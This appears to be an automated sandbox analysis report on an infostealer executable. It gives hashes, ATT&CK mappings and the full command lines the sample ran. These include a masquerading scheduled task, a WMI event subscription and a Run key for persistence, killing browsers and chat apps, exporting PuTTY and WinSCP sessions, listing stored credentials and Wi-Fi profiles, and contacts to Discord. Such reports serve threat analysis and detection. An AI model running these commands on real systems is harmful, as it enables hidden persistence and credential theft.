cacbddab52a73c7dd5c50f7effafc2ce1f8613f69e14ba245ecbc233869209b5

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
22/07/2026, 04:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
cacbddab52a73c7dd5c50f7effafc2ce1f8613f69e14ba245ecbc233869209b5.exe
Size 1.5MB
Sample260722-ewjs3aydja
SHA256 cacbddab52a73c7dd5c50f7effafc2ce1f8613f69e14ba245ecbc233869209b5
MD5 545c9d721cb2116c9eff9085301925a7
SHA1 cae6c964e4129efc55a5397b582c017770af9bc4
SHA512 5cb763743e264c16e2eecdf62a5a11d0f8aaf9892f48a9ad19c588a2776b21dc3594e1c7d84407546cfdd04313715a60db7dfc6a37c70ff45ccce515dd5254a2
SSDEEP 24576:/PN4lOnvmIpsO85QPDc/XbfYl/ypAKoOFkdkd5kLTM3Ymr79:XKlOnvmFv4Dc7Yl/ypAKo23PkLTM3YmX
TLSH
T1E9755D17E2A314FCC12BC17487ABE372B931F8191234BD6F5694DB312E61EA0576EB18
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	cacbddab52a73c7dd5c50f7effafc2ce1f8613f69e14ba245ecbc233869209b5.exe

Executes dropped EXE 2 IoCs

pid	Process
1156	DefenderCacheSvc.exe
4800	DefenderCacheSvc.exe

Loads dropped DLL 1 IoCs

pid	Process
820	chrome.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\DefenderCacheSvc = "\"C:\\ProgramData\\WinDefCache\\DefenderCacheSvc.exe\" --child"	cacbddab52a73c7dd5c50f7effafc2ce1f8613f69e14ba245ecbc233869209b5.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
19	discord.com
20	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
12	ip-api.com

Enumerates processes with tasklist 1 TTPs 4 IoCs

discovery

Process Discovery

T1057

pid	Process
4828	tasklist.exe
1500	tasklist.exe
4988	tasklist.exe
2144	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
3972	cacbddab52a73c7dd5c50f7effafc2ce1f8613f69e14ba245ecbc233869209b5.exe
1156	DefenderCacheSvc.exe
4800	DefenderCacheSvc.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
5108	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5092	powershell.exe
4380	powershell.exe
4192	powershell.exe
216	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 17 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4964	cmd.exe
2160	cmd.exe
1620	cmd.exe
4832	cmd.exe
4280	cmd.exe
992	cmd.exe
4484	cmd.exe
1984	cmd.exe
960	cmd.exe
4696	cmd.exe
4984	cmd.exe
4504	cmd.exe
984	cmd.exe
3320	cmd.exe
2128	cmd.exe
4548	cmd.exe
828	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
828	cmd.exe
1860	netsh.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2884	ipconfig.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
4780	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	cacbddab52a73c7dd5c50f7effafc2ce1f8613f69e14ba245ecbc233869209b5.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3524	schtasks.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
5108	powershell.exe
5108	powershell.exe
5092	powershell.exe
5092	powershell.exe
4380	powershell.exe
4380	powershell.exe
4192	powershell.exe
4192	powershell.exe
216	powershell.exe
216	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4828	tasklist.exe
Token: SeDebugPrivilege	5108	powershell.exe
Token: SeIncreaseQuotaPrivilege	5108	powershell.exe
Token: SeSecurityPrivilege	5108	powershell.exe
Token: SeTakeOwnershipPrivilege	5108	powershell.exe
Token: SeLoadDriverPrivilege	5108	powershell.exe
Token: SeSystemProfilePrivilege	5108	powershell.exe
Token: SeSystemtimePrivilege	5108	powershell.exe
Token: SeProfSingleProcessPrivilege	5108	powershell.exe
Token: SeIncBasePriorityPrivilege	5108	powershell.exe
Token: SeCreatePagefilePrivilege	5108	powershell.exe
Token: SeBackupPrivilege	5108	powershell.exe
Token: SeRestorePrivilege	5108	powershell.exe
Token: SeShutdownPrivilege	5108	powershell.exe
Token: SeDebugPrivilege	5108	powershell.exe
Token: SeSystemEnvironmentPrivilege	5108	powershell.exe
Token: SeRemoteShutdownPrivilege	5108	powershell.exe
Token: SeUndockPrivilege	5108	powershell.exe
Token: SeManageVolumePrivilege	5108	powershell.exe
Token: 33	5108	powershell.exe
Token: 34	5108	powershell.exe
Token: 35	5108	powershell.exe
Token: 36	5108	powershell.exe
Token: SeIncreaseQuotaPrivilege	5108	powershell.exe
Token: SeSecurityPrivilege	5108	powershell.exe
Token: SeTakeOwnershipPrivilege	5108	powershell.exe
Token: SeLoadDriverPrivilege	5108	powershell.exe
Token: SeSystemProfilePrivilege	5108	powershell.exe
Token: SeSystemtimePrivilege	5108	powershell.exe
Token: SeProfSingleProcessPrivilege	5108	powershell.exe
Token: SeIncBasePriorityPrivilege	5108	powershell.exe
Token: SeCreatePagefilePrivilege	5108	powershell.exe
Token: SeBackupPrivilege	5108	powershell.exe
Token: SeRestorePrivilege	5108	powershell.exe
Token: SeShutdownPrivilege	5108	powershell.exe
Token: SeDebugPrivilege	5108	powershell.exe
Token: SeSystemEnvironmentPrivilege	5108	powershell.exe
Token: SeRemoteShutdownPrivilege	5108	powershell.exe
Token: SeUndockPrivilege	5108	powershell.exe
Token: SeManageVolumePrivilege	5108	powershell.exe
Token: 33	5108	powershell.exe
Token: 34	5108	powershell.exe
Token: 35	5108	powershell.exe
Token: 36	5108	powershell.exe
Token: SeIncreaseQuotaPrivilege	5108	powershell.exe
Token: SeSecurityPrivilege	5108	powershell.exe
Token: SeTakeOwnershipPrivilege	5108	powershell.exe
Token: SeLoadDriverPrivilege	5108	powershell.exe
Token: SeSystemProfilePrivilege	5108	powershell.exe
Token: SeSystemtimePrivilege	5108	powershell.exe
Token: SeProfSingleProcessPrivilege	5108	powershell.exe
Token: SeIncBasePriorityPrivilege	5108	powershell.exe
Token: SeCreatePagefilePrivilege	5108	powershell.exe
Token: SeBackupPrivilege	5108	powershell.exe
Token: SeRestorePrivilege	5108	powershell.exe
Token: SeShutdownPrivilege	5108	powershell.exe
Token: SeDebugPrivilege	5108	powershell.exe
Token: SeSystemEnvironmentPrivilege	5108	powershell.exe
Token: SeRemoteShutdownPrivilege	5108	powershell.exe
Token: SeUndockPrivilege	5108	powershell.exe
Token: SeManageVolumePrivilege	5108	powershell.exe
Token: 33	5108	powershell.exe
Token: 34	5108	powershell.exe
Token: 35	5108	powershell.exe

Suspicious use of WriteProcessMemory 37 IoCs

description	pid	Process	procid_target
PID 3972 wrote to memory of 1620	3972	cacbddab52a73c7dd5c50f7effafc2ce1f8613f69e14ba245ecbc233869209b5.exe	88
PID 1620 wrote to memory of 4828	1620	cmd.exe	90
PID 3972 wrote to memory of 4504	3972	cacbddab52a73c7dd5c50f7effafc2ce1f8613f69e14ba245ecbc233869209b5.exe	92
PID 4504 wrote to memory of 3524	4504	cmd.exe	94
PID 3972 wrote to memory of 984	3972	cacbddab52a73c7dd5c50f7effafc2ce1f8613f69e14ba245ecbc233869209b5.exe	95
PID 984 wrote to memory of 5108	984	cmd.exe	97
PID 3972 wrote to memory of 4800	3972	cacbddab52a73c7dd5c50f7effafc2ce1f8613f69e14ba245ecbc233869209b5.exe	100
PID 1156 wrote to memory of 4832	1156	DefenderCacheSvc.exe	101
PID 4832 wrote to memory of 1500	4832	cmd.exe	103
PID 4800 wrote to memory of 2128	4800	DefenderCacheSvc.exe	104
PID 2128 wrote to memory of 4988	2128	cmd.exe	106
PID 4800 wrote to memory of 1984	4800	DefenderCacheSvc.exe	107
PID 1984 wrote to memory of 4780	1984	cmd.exe	109
PID 4800 wrote to memory of 820	4800	DefenderCacheSvc.exe	110
PID 4800 wrote to memory of 960	4800	DefenderCacheSvc.exe	113
PID 960 wrote to memory of 5048	960	cmd.exe	115
PID 4800 wrote to memory of 4548	4800	DefenderCacheSvc.exe	116
PID 4548 wrote to memory of 2424	4548	cmd.exe	118
PID 4800 wrote to memory of 828	4800	DefenderCacheSvc.exe	119
PID 828 wrote to memory of 1860	828	cmd.exe	121
PID 4800 wrote to memory of 4280	4800	DefenderCacheSvc.exe	122
PID 4280 wrote to memory of 5092	4280	cmd.exe	124
PID 4800 wrote to memory of 4696	4800	DefenderCacheSvc.exe	125
PID 4696 wrote to memory of 4380	4696	cmd.exe	127
PID 4800 wrote to memory of 992	4800	DefenderCacheSvc.exe	128
PID 992 wrote to memory of 4192	992	cmd.exe	130
PID 4800 wrote to memory of 4964	4800	DefenderCacheSvc.exe	131
PID 4964 wrote to memory of 216	4964	cmd.exe	133
PID 4800 wrote to memory of 4484	4800	DefenderCacheSvc.exe	134
PID 4484 wrote to memory of 2884	4484	cmd.exe	136
PID 4800 wrote to memory of 3320	4800	DefenderCacheSvc.exe	137
PID 3320 wrote to memory of 2056	3320	cmd.exe	139
PID 3320 wrote to memory of 4468	3320	cmd.exe	140
PID 4800 wrote to memory of 2160	4800	DefenderCacheSvc.exe	141
PID 2160 wrote to memory of 3512	2160	cmd.exe	143
PID 4800 wrote to memory of 4984	4800	DefenderCacheSvc.exe	144
PID 4984 wrote to memory of 2144	4984	cmd.exe	146

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\cacbddab52a73c7dd5c50f7effafc2ce1f8613f69e14ba245ecbc233869209b5.exe
"C:\Users\Admin\AppData\Local\Temp\cacbddab52a73c7dd5c50f7effafc2ce1f8613f69e14ba245ecbc233869209b5.exe"
1⤵
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3972
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c tasklist > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1620
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4828
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c schtasks /create /tn "Windows Defender Cache Maintenance" /tr "\"C:\ProgramData\WinDefCache\DefenderCacheSvc.exe\" --child" /sc onlogon /rl highest /f > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4504
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "Windows Defender Cache Maintenance" /tr "\"C:\ProgramData\WinDefCache\DefenderCacheSvc.exe\" --child" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3524
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c powershell -NoProfile -Command "$f=New-CimInstance -ClassName __EventFilter -Namespace root\subscription -Property @{Name='WinDefCacheF';Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LogonSession'\";QueryLanguage='WQL'} -ErrorAction SilentlyContinue;$c=New-CimInstance -ClassName CommandLineEventConsumer -Namespace root\subscription -Property @{Name='WinDefCacheC';CommandLineTemplate='C:\ProgramData\WinDefCache\DefenderCacheSvc.exe --child'} -ErrorAction SilentlyContinue;New-CimInstance -ClassName __FilterToConsumerBinding -Namespace root\subscription -Property @{Filter=$f;Consumer=$c} -ErrorAction SilentlyContinue" > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:984
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "$f=New-CimInstance -ClassName __EventFilter -Namespace root\subscription -Property @{Name='WinDefCacheF';Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LogonSession'\";QueryLanguage='WQL'} -ErrorAction SilentlyContinue;$c=New-CimInstance -ClassName CommandLineEventConsumer -Namespace root\subscription -Property @{Name='WinDefCacheC';CommandLineTemplate='C:\ProgramData\WinDefCache\DefenderCacheSvc.exe --child'} -ErrorAction SilentlyContinue;New-CimInstance -ClassName __FilterToConsumerBinding -Namespace root\subscription -Property @{Filter=$f;Consumer=$c} -ErrorAction SilentlyContinue"
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5108
- C:\ProgramData\WinDefCache\DefenderCacheSvc.exe
  "C:\ProgramData\WinDefCache\DefenderCacheSvc.exe" --child
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of WriteProcessMemory
  PID:4800
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c tasklist > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2128
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:4988
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c taskkill /F /T /IM brave.exe /IM chrome.exe /IM msedge.exe /IM firefox.exe /IM opera.exe /IM vivaldi.exe /IM whale.exe /IM browser.exe /IM discord.exe /IM discordptb.exe /IM discordcanary.exe /IM telegram.exe /IM robloxplayerbeta.exe /IM steam.exe /IM epicgameslauncher.exe /IM lightcord.exe 2>nul > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1984
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /T /IM brave.exe /IM chrome.exe /IM msedge.exe /IM firefox.exe /IM opera.exe /IM vivaldi.exe /IM whale.exe /IM browser.exe /IM discord.exe /IM discordptb.exe /IM discordcanary.exe /IM telegram.exe /IM robloxplayerbeta.exe /IM steam.exe /IM epicgameslauncher.exe /IM lightcord.exe
      4⤵
      Kills process with taskkill
      PID:4780
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check about:blank
    3⤵
    - Loads dropped DLL
    PID:820
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c reg export "HKCU\Software\SimonTatham\PuTTY\Sessions" "%TEMP%\__putty.reg" /y & type "%TEMP%\__putty.reg" > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:960
  - - C:\Windows\system32\reg.exe
      reg export "HKCU\Software\SimonTatham\PuTTY\Sessions" "C:\Users\Admin\AppData\Local\Temp\__putty.reg" /y
      4⤵
      PID:5048
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c reg export "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" "%TEMP%\__w.reg" /y & type "%TEMP%\__w.reg" > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4548
  - - C:\Windows\system32\reg.exe
      reg export "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" "C:\Users\Admin\AppData\Local\Temp\__w.reg" /y
      4⤵
      PID:2424
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c netsh wlan show profiles > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:828
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:1860
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c powershell -NoProfile -Command "(Get-CimInstance Win32_BaseBoard | Select-Object -ExpandProperty Manufacturer) + ' ' + (Get-CimInstance Win32_BaseBoard | Select-Object -ExpandProperty Product)" > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4280
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "(Get-CimInstance Win32_BaseBoard | Select-Object -ExpandProperty Manufacturer) + ' ' + (Get-CimInstance Win32_BaseBoard | Select-Object -ExpandProperty Product)"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5092
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c powershell -NoProfile -Command "(Get-CimInstance Win32_Processor).Name + ' (' + (Get-CimInstance Win32_Processor).NumberOfCores + ' cores)'" > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4696
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "(Get-CimInstance Win32_Processor).Name + ' (' + (Get-CimInstance Win32_Processor).NumberOfCores + ' cores)'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4380
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c powershell -NoProfile -Command "[math]::Round((Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory/1MB)" > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:992
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "[math]::Round((Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory/1MB)"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4192
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c powershell -NoProfile -Command "(Get-CimInstance Win32_VideoController | Select-Object -First 1).Name" > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4964
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "(Get-CimInstance Win32_VideoController | Select-Object -First 1).Name"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:216
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c ipconfig /all > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4484
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /all
      4⤵
      Gathers network information
      PID:2884
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s | findstr /i "DisplayName" > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3320
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
      4⤵
      PID:2056
  - - C:\Windows\system32\findstr.exe
      findstr /i "DisplayName"
      4⤵
      PID:4468
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c cmdkey /list > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2160
  - - C:\Windows\system32\cmdkey.exe
      cmdkey /list
      4⤵
      PID:3512
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c tasklist /fo csv /nh > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4984
  - - C:\Windows\system32\tasklist.exe
      tasklist /fo csv /nh
      4⤵
      Enumerates processes with tasklist
      PID:2144

C:\ProgramData\WinDefCache\DefenderCacheSvc.exe
"C:\ProgramData\WinDefCache\DefenderCacheSvc.exe"
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:1156
- C:\Windows\system32\cmd.exe
  cmd /c tasklist > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4832
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:1500

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3804

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5040

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

DefenderCacheSvc.exe

Path C:\ProgramData\WinDefCache\DefenderCacheSvc.exe
Size 1.5MB
SHA256 cacbddab52a73c7dd5c50f7effafc2ce1f8613f69e14ba245ecbc233869209b5
MD5 545c9d721cb2116c9eff9085301925a7
SHA1 cae6c964e4129efc55a5397b582c017770af9bc4
SHA512 5cb763743e264c16e2eecdf62a5a11d0f8aaf9892f48a9ad19c588a2776b21dc3594e1c7d84407546cfdd04313715a60db7dfc6a37c70ff45ccce515dd5254a2
SSDEEP 24576:/PN4lOnvmIpsO85QPDc/XbfYl/ypAKoOFkdkd5kLTM3Ymr79:XKlOnvmFv4Dc7Yl/ypAKo23PkLTM3YmX
TLSH
T1E9755D17E2A314FCC12BC17487ABE372B931F8191234BD6F5694DB312E61EA0576EB18
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 b58f994c644f7b4a831e889630bfd7ca0860aeb1e0920dc0f5d4928585a9dbab
MD5 3bfc414667e1ebc31e9259fa1db290fa
SHA1 9bff989429779efef334e5524a362e7b6ff266cb
SHA512 e6cb000e8f900132f7dc661f943b8e91e945d171157ff3289b91e9d79f70230e363ed65b7ec97f451b376cf4706a14de9a86193e72dcea8fe3aa8c86c6117d13
TLSH
T1E371BF323375B0D4C9567F072A2819C063BF4396EA98AF4CB25C621ED92751B9B122F7
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 31bd5a28190599cf85382a7a9a438e8cf8dd7897181d9fd270827ea4fb4545ba
MD5 371e7ee6c059cbe909fb920a5fbdc79b
SHA1 748b6dd17f5fe32b309ff9910e84c77a3f6a8092
SHA512 036e660355198776e712c6159c378abb32a2b8fb7335c43bbd80124affc35caa6caabec6f83c9cb7901983efcbf2d658aa68526e62c67ec7eb1460d87ef97f9c
TLSH
T1D7216527B39CD9A1CC95253A209CAC1172B783C7809ECF8F6AC0D224A57FAD8CB61590
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 e445a146744bcde4d99f818424d5daab9855db7459043320dbb6af87463653dc
MD5 c7e8f6b7570585132263d5c63485251d
SHA1 237923488d693682cf3825826555351d7f3234ba
SHA512 b19850bf30a5dc248facfb692cb41c3823e135a5c0af418db1fdbc5c68d639a965ee16145c3269927dd445b49f7efe3f5059df318922e7d45a9a1eef07a8a72b
TLSH
T1FB216527B39CC921CC99153A209DAC1172B683C7809ECF8F6EC0D224A17FA84CB71590
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 4f4f0c7dfa4aea3ef1e302727e7de6410d3b686b4f64b639650e1937173f2b69
MD5 38f6bd2dcd866ca79668c235d0484f52
SHA1 b2ba2794f12859c273739e95c9d339548abd10d0
SHA512 35180cf4d4064d930db2fa905ee86184372f0b2af8d723cea9e98a989e49f63f2b832e326879cc8fa35c409a8fc96d0a1930c79e6c08f7a2d7e5c9c41bb78764
TLSH
T153214627B39CC5A2CC89153A109C9C11327782C7409ECF8F6AC4D214A16FA84CB61550
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1fea41b9f9a6989626724551fad83badb2b0680485e22af655e24bb86c70d815
MD5 6eb1b8667aaf4f5b4db88b85e3f1ff78
SHA1 643ac1ae1988c12f0ba76c7f8bc1b425018c49cf
SHA512 defbae3ea152787ccef8ebae8d49d28155eed6574374c9381864f3826efb7978533d92909172ff655e70fd8d3764e51a84f30926389b76aafb9673bb2792649c
TLSH
T148218727B39CC921CC99153A209CAC1172B683C7809ECF8F6FC0D224A07FAC4CB71594
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_r3jdcr3z.eht.ps1

